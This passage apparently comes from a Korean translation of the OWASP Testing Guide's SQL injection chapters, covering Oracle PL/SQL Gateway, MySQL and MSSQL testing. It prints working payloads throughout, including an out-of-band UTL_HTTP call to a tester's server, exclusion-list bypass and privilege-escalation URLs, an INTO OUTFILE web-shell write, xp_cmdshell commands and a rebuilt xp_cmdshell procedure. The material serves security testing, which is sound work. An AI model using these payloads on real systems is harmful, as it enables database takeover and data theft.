This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section. Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.
request('testerserver.com:80'||(SELET user FROM DUAL)-

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to 'testerserver' and make a HTTP GET request containing the return from the query "SELECT user FROM DUAL". The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc -nLp 80
GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

시간 지연 공격 기술

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section). Consider the following SQL query: SELECT * FROM products WHERE id_product=$id_product Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version()
like '5%', sleep(10), 'false'))-

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.


저장 프로시저 인젝션

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure. Consider the following SQL Server Stored Procedure:

Create procedure user_login @username varchar(20),
@passwd varchar(20) As Declare @sqlstring varchar(250)
Set @sqlstring = ' Select 1 from users Where username = '
+ @username + ' and passwd = ' + @passwd exec(@sqlstring) Go
User input: anyusername or 1=1' anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters. NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. Consider the following SQL Server Stored Procedure:

Create procedure get_report @columnamelist varchar(7900)
As Declare @sqlstring varchar(8000) Set @sqlstring =
' Select ' + @ columnamelist + ' from ReportTable'
exec(@sqlstring) Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users' passwords being updated.


자동화 공격

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap


Tools

  • SQL Injection Fuzz Strings (from wfuzz tool): https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
  • OWASP SQLiX
  • Francois Larouche: Multiple DBMS SQL Injection tool - SQL Power Injector
  • ilo--, Reversing.org - sqlbftools
  • Bernardo Damele A. G. - sqlmap
  • icesurfer: SQL Server Takeover Tool - sqlninja
  • Pangolin: Automated SQL Injection Tool - Pangolin
  • Muhaimin Dzulfakar - MySqloit
  • Antonio Parata: Dump Files by SQL inference on Mysql - SqlDumper
  • bsqlbf, a blind SQL injection tool in Perl

References

  • Top 10 2013-A1-Injection

Whitepapers

Oracle 테스트

개요

Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.


테스트 방법

How the PL/SQL Gateway works Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed. [1] The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway. [2] The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables. [3] The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server. [4] The database server executes the procedure and sends the results back to the Gateway as HTML. [5] The gateway sends the response, via the web server, back to the client. Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this. URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later): http://www.example.com/pls/xyz http://www.example.com/xyz/owa http://www.example.com/xyz/plsql While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL: http://www.server.com/aaa/bbb/xxxxx.yyyyy If xxxxx.yyyyy were replaced with something along the lines of "ebank. home," "store.welcome," "auth.login," or "books.search," then there's a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is "webuser": http://www.server.com/pls/xyz/webuser.pkg.proc In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following: SIMPLEDAD HTMLDB ORASSO SSODAD PORTAL PORTAL2 PORTAL30 PORTAL30_SSO TEST DAD APP ONLINE DB OWA

Determining if the PL/SQL Gateway is running When performing an assessment against a server, it's important first to know what technology you're actually dealing with. If you don't already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/ SQL Gateway. Server response headers The web server's response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers: Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache10g/9.0.4.2.0 (N) Oracle-Application-Server-10g/9.0.4.0.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_ plsql/3.0.9.8.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_ plsql/3.0.9.8.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_ plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_ plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_ plsql/3.0.9.8.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_ plsql/3.0.9.8.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_ plsql/9.0.2.0.0 Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/9.0.3.1 Oracle HTTP Server

The NULL test In PL/SQL, "null" is a perfectly acceptable expression: SQL> BEGIN

2 NULL; 3 END; 4 /

PL/SQL procedure successfully completed. We can use this to test if the server is running the PL/SQL Gateway. Simply take the DAD and append NULL, then append NOSUCHPROC: http://www.example.com/pls/dad/null http://www.example.com/pls/dad/nosuchproc If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway. Known package access On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the OWA_UTIL package, which we'll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting "This page was produced by the PL/SQL Web Toolkit on date" returns the following output on the webpage "This page was produced by the PL/SQL Cartridge on date" or "This page was produced by the PL/SQL Cartridge on date" If you don't get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems. Accessing Arbitrary PL/SQL Packages in the Database It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the OWA_UTIL package earlier. This can be used to run arbitrary SQL queries: http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS Cross Site Scripting attacks could be launched via the HTP package: http://www.example.com/pls/dad/HTP.PRINT?C BUF=<script>alert('XSS')</script> Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with SYS.*, any request starting with DBMS_*, any request with HTP.* or OWA*. It is possible to bypass the exclusion list however. What's more, the exclusion list does not prevent access to packages in the CTXSYS and MDSYS schemas or others, so it is possible to exploit flaws in these packages: http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALI DATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265) Testing the PL/SQL Gateway For Flaws Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-20020561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server. Bypassing the PL/SQL Exclusion List It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story can be found here: http://seclists. org/fulldisclosure/2006/Feb/0011.html Bypassing the Exclusion List - Method 1 When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab: http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC Bypassing the Exclusion List - Method 2 Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: <<NAME>> http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC Bypassing the Exclusion List - Method 3 Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user's request to lowercase before sending it to the database server and a quote literal is case sensitive - thus "SYS" and "sys" are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC Bypassing the Exclusion List - Method 4 Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the "y" character (0xFF) might be converted to a "Y" at the database server. Another character that is often converted to an upper case "Y" is the Macron character - 0xAF. This may allow an attacker to bypass the exclusion list: http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC Bypassing the Exclusion List - Method 5 Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - 0x5C: http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC Bypassing the Exclusion List - Method 6 This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following http://www.example.com/pls/dad/foo.bar?xyz=123 the application server would execute the following at the database server: 1 declare 2 rc__ number; 3 start_time__ binary_integer; 4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__); 9 htp.HTBUF_LEN := 255; 10 null; 11 null; 12 simple_list__(1) := 'sys.%'; 13 simple_list__(2) := 'dbms_%'; 14 simple_list__(3) := 'utl_%'; 15 simple_list__(4) := 'owa_%'; 16 simple_list__(5) := 'owa.%'; 17 simple_list__(6) := 'htp.%'; 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 foo.bar(XYZ=>:XYZ); 25 if (wpg_docload.is_file_download) then 26 rc__ := 1; 27 wpg_docload.get_download_file(:doc_info); 28 orasso.wpg_session.deinit(); 29 null; 30 null; 31 commit; 32 else 33 rc__ := 0; 34 orasso.wpg_session.deinit(); 35 null; 36 null; 37 commit; 38 owa.get_page(:data__,:ndata__); 39 end if; 40 end if; 41 :rc__ := rc__; 42 :db_proc_time__ := dbms_utility.get_time.start_ time__; 43 end; Notice lines 19 and 24. On line 19, the user's request is checked against a list of known "bad" strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable. If we then request the following: http://server.example.com/pls/dad/INJECT'POINT the following PL/SQL is executed: .. 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('inject'point', simple_ list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 inject'point; .. This generates an error in the error log: "PLS-00103: Encountered the symbol 'POINT' when expecting one of the following. . ." What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn't match anything in the exclusion list. There are a good number of default packages that match this criteria, for example: JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES

PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO

An attacker should pick one of these functions that is actually available on the target system (i.e., returns a 200 OK when requested). As a test, an attacker can request http://server.example.com/pls/dad/orasso.home?FOO=BAR the server should return a "404 File Not Found" response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed: .. .. if ((owa_match.match_pattern('orasso.home', simple_ list__, complex_list__, true))) then

rc__ := 2;
else
null;
orasso.wpg_session.init(); orasso.home(FOO=>:FOO);

Note the presence of FOO in the attacker's query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets: http://server.example.com/pls/dad/orasso.home?);--=BAR This results in the following PL/SQL being executed: .. orasso.home();--=>:);--); ..

Note that everything after the double minus (--) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it's this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use HTP. PRINT to print BAR, and add the needed bind variable as :1: http://server.example.com/pls/dad/orasso.home?);HTP. PRINT(:1);--=BAR

This should return a 200 with the word "BAR" in the HTML. What's happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it's possible to also gain access to owa_util.cellsprint again: http://www.example.com/pls/dad/orasso.home?);OWA_ UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_ USERS To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1: http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

Note that the output won't be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in DBMS_EXPORT_EXTENSION (see http://secunia. com/advisories/19860) http://www.example.com/pls/dad/orasso.home?); execute%20immediate%20:1;--=DECLARE%20BUF%20 VARCHAR2(2000);%20BEGIN%20 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_ LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS. OWA_UTIL''; END;--','SYS',1,'VER',0);END; Assessing Custom PL/SQL Web Applications During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities. Testing for SQL Injection Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator. For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author: http://www.example.com/pls/bookstore/books.search?au-thor=DICKENS If this request returns books by Charles Dickens, but http://www.example.com/pls/bookstore/books.search?author=DICK'ENS

returns an error or a 404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator: http://www.example.com/pls/bookstore/books.search?au

thor=DICK'||'ENS If this request returns books by Charles Dickens, you've confirmed the presence of the SQL injection vulnerability.

References

Whitepapers


MySQL 테스트

개요

SQL Injection vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

MySQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.


테스트 방법

When an SQL injection vulnerability is found in an application backed by a MySQL database, there are a number of attacks that could be performed depending on the MySQL version and user privileges on DBMS. MySQL comes with at least four versions which are used in production worldwide, 3.23.x, 4.0.x, 4.1.x and 5.0.x. Every version has a set of features proportional to version number.

  • From Version 4.0: UNION
  • From Version 4.1: Subqueries
  • From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
  • From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on Testing for SQL Injection.

http://www.example.com/page.php?id=2

싱글쿼터 문제

Before taking advantage of MySQL features, it has to be taken in consideration how strings could be represented in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following:

'A string with \'quotes\''

That is, MySQL interprets escaped apostrophes (') as characters and not as metacharacters. So if the application, to work properly, needs to use constant strings, two cases are to be differentiated:

  1. Web app escapes single quotes (' => \')
  2. Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Lets suppose we want to know the value of a field named 'password' in a record, with a condition like the following:

  1. password like 'A%'
  2. The ASCII values in a concatenated hex:
password LIKE 0x4125
  1. The char() function:
password LIKE CHAR(65,37)

다양한 혼합 쿼리

MySQL library connectors do not support multiple queries separated by ';' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server. For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 -

정보 수집

MySQL 핑거프린팅

Of course, the first thing to know is if there's MySQL DBMS as a back end database. MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL dialect. When a comment block ('/**/') contains an exclamation mark ('/! sql here/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS as explained in MySQL manual.

Example:

1 /*! and 1=0 */

Result Expected:

If MySQL is present, the clause inside the comment block will be interpreted.

Version

There are three ways to gain this information:

  1. By using the global variable @@version
  2. By using the function [VERSION()]

3. By using comment fingerprinting with a version number /!40110 and 1=0/ which means

if(version >= 4.1.10)
add 'and 1=0' to the query.

These are equivalent as the result is the same. In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

Result Expected:

A string like this:

5.0.22-log

Login User

There are two kinds of users MySQL Server relies upon.

  1. [USER()]: the user connected to the MySQL Server.
  2. [CURRENT_USER()]: the internal user who is executing the query.

There is some difference between 1 and 2. The main one is that an anonymous user could connect (if allowed) with any name, but the MySQL internal user is an empty name (''). Another difference is that a stored procedure or a stored function are executed as the creator user, if not declared elsewhere. This can be known by using CURRENT_USER. In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

Result Expected:

A string like this:

user@hostname

Database name in use

There is the native function DATABASE() In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

Result Expected:

A string like this:

dbname

INFORMATION_SCHEMA

From MySQL 5.0 a view named [INFORMATION_SCHEMA] was created. It allows us to get all informations about databases, tables, and columns, as well as procedures and functions. Here is a summary of some interesting Views.

Tables_in_INFORMATION_SCHEMA DESCRIPTION
..[skipped].. ..[skipped]..
SCHEMATA SELECT_priv를 가지고 있는 사용자의 모든 데이터베이스
SCHEMA_PRIVILEGES 사용자가 각각의 DB에 대해 가지고 있는 권한
TABLES SELECT_priv를 가지고 있는 사용자의 모든 테이블
TABLE_PRIVILEGES 사용자가 각각의 테이블에 대해 가지고 있는 권한
COLUMNS SELECT_priv를 가지고 있는 사용자의 모든 컬럼
COLUMN_PRIVILEGES 사용자가 각각의 컬럼에 대해 가지고 있는 권한
VIEWS SELECT_priv를 가지고 있는 사용자의 모든 데이터
ROUTINES 프로시저와 함수 (EXECUTE_priv 필요)
TRIGGERS 트리거 (INSERT_priv 필요)
USER_PRIVILEGES 접속 사용자가 가지는 권한

All of this information could be extracted by using known techniques as described in SQL Injection section.


공격 벡터
파일 쓰기

만약 연결한 사용자가 파일 권한을 가지고 있고 싱글쿼터로 빠져나갈 수 없다면, 'into outfile' 절이 파일에 쿼리 결과를 내보내는 데 사용할 수 있습니다.

Select * from table into outfile '/tmp/file'

Note: 파일명 주위의 싱글쿼터를 우회할 수 있는 방법이 없습니다. 그래서 만약 빠져나가는 것과 같은 싱글쿼터에 일부 필터링이 있다면, 'into outfile'절을 사용할 수 있는 방법이 없을 것입니다.

This kind of attack could be used as an out-of-band technique to gain information about the results of a query or to write a file which could be executed inside the web server directory.

예제

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY
'//'  LINES TERMINATED BY '\n<%jsp code here%>';

예상 결과

결과는 MySQL 사용자와 그룹에 의한 rw-rw-rw 권한으로 파일에 저장됩니다. //var//www//root//test.jsp에 포함될 것 입니다.

//field values//
<%jsp code here%>

파일 읽기

Load_file은 파일 시스템 권한에 따라 파일을 읽을 수 있는 내부 함수입니다. 만약 연결된 사용자가 파일 권한을 가지고 있다면, 파일 내용을 얻기 위해 사용합니다. 싱글쿼터 취소 필터링은 이전에 설명했던 기술을 사용하여 우회할 수 있습니다.

load_file('filename')

예상 결과

전체 파일은 표준 기술을 사용하여 내보내기가 가능할 것입니다.


기본적인 SQL 인젝션 공격

In a standard SQL injection you can have results displayed directly in a page as normal output or as a MySQL error. By using already mentioned SQL Injection attacks and the already described MySQL features, direct SQL injection could be easily accomplished at a level depth depending primarily on the MySQL version the pentester is facing. A good attack is to know the results by forcing a function/procedureor the server itself to throw an error. A list of errors thrown by MySQL and in particular native functions could be found on MySQL Manual.


Out of band SQL 인젝션

Out of band injection could be accomplished by using the 'into out-file' clause.


블라인드 SQL 인젝션

블라인드 SQL 인젝션을 위해서는 MySQL 서버에서 유용한 기본 함수 리스트가 있습니다.

  • 문자열 길이
LENGTH(str)
  • 주어진 문자열로 부터 부분 문자 추출
SUBSTRING(string, offset, #chars_returned)
  • 시간 기반 블라인드 인젝션: BENCHMARK와 SLEEP
BENCHMARK(#ofcycles,action_to_be_performed )

The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.

See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.


Tools


References

Whitepapers

Case Studies


MSSQL 테스트

개요

In this section some SQL Injection techniques that utilize specific features of Microsoft SQL Server will be discussed. SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database. As explained in SQL injection, a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

  • Application parameters in query strings (e.g., GET requests)
  • Application parameters included as part of the body of a POST request
  • Browser-related information (e.g., user-agent, referrer)
  • Host-related information (e.g., host name, IP)
  • Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.


테스트 방법

MSSQL 특징

시작하기 위해, 일부 SQL 서버 운영자 및 SQL 인젝션 테스트에 유용한 명령/저장 프로시저를 봅시다.

  1. 주석 연산자: -- (useful for forcing the query to ignore the remaining portion of the original query; this wont be necessary in every case)
  2. 쿼리 구분자: ; (세미콜론)
  3. 유용한 저장 프로시저를 포함:
  • [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running. By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
  • xp_regread reads an arbitrary value from the Registry (undocumented extended procedure)
  • xp_regwrite writes an arbitrary value into the Registry (undocumented extended procedure)
  • [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin privileges.
  • [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.

Lets see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the exec function.

Below we show how to execute a shell command that writes the output of the command "dir c:inetpub" in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

또한, 우리는 sp_makewebtask를 사용할 수 있습니다.:

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt',
'select * from master.dbo.sysobjects'--

A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future. In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function db_name() to trigger an error that will return the name of the database:

/controlboard.asp?boardID=2&itemnum=1%20AND%20
1=CONVERT(int,%20db_name())

Notice the use of [convert]:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable @@version , combined with a "union select"-style injection, in order to find the version of the SQL Server.

/form.asp?prop=33%20union%20select%201,
2006-01-06,2007-01-06,1,'stat','name1',
'name2',2006-01-06,1,@@version%20--

And here's the same attack, but using again the conversion trick:

/form.asp?prop=33%20union%20select%20 1,
2006-01-06,2007-01-06,1,'stat','name1',
'name2',2006-01-06,1,@@version%20--

Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.


예제 1: GET 요청에 SQL 인젝션 테스트

The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

https://vulnerable.web.app/login.asp?
Username='%20or%20'1'='1&Password='%20or%20'1'='1

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.


예제 2: GET 요청에 SQL 인젝션 테스트

컬럼 길이 확인

https://vulnerable.web.app/list_report.aspx?
number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

예제 3: POST 요청에 테스트

SQL 인젝션, HTTP POST 내용:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

전체 POST 예제: ` .. code-block:: html

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en- US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,*/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

싱글쿼터 문자가 이메일 필드에 입력되어 있을 때 에러 메시지는 아래와 같습니다.

PMicrosoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string  '.
/forgotpass.asp, line 15

예제 4: 또 다른 GET 예제

어플리케이션의 소스코드 얻기

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\
login.aspx c:\inetpub\wwwroot\login.txt';--

예제 5: custom xp_cmdshell

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.

On SQL Server 2000:

  • If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
  • If the previous code does not work, it means that the xp_log70. dll has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait
int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID
OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @
OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null,
@cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
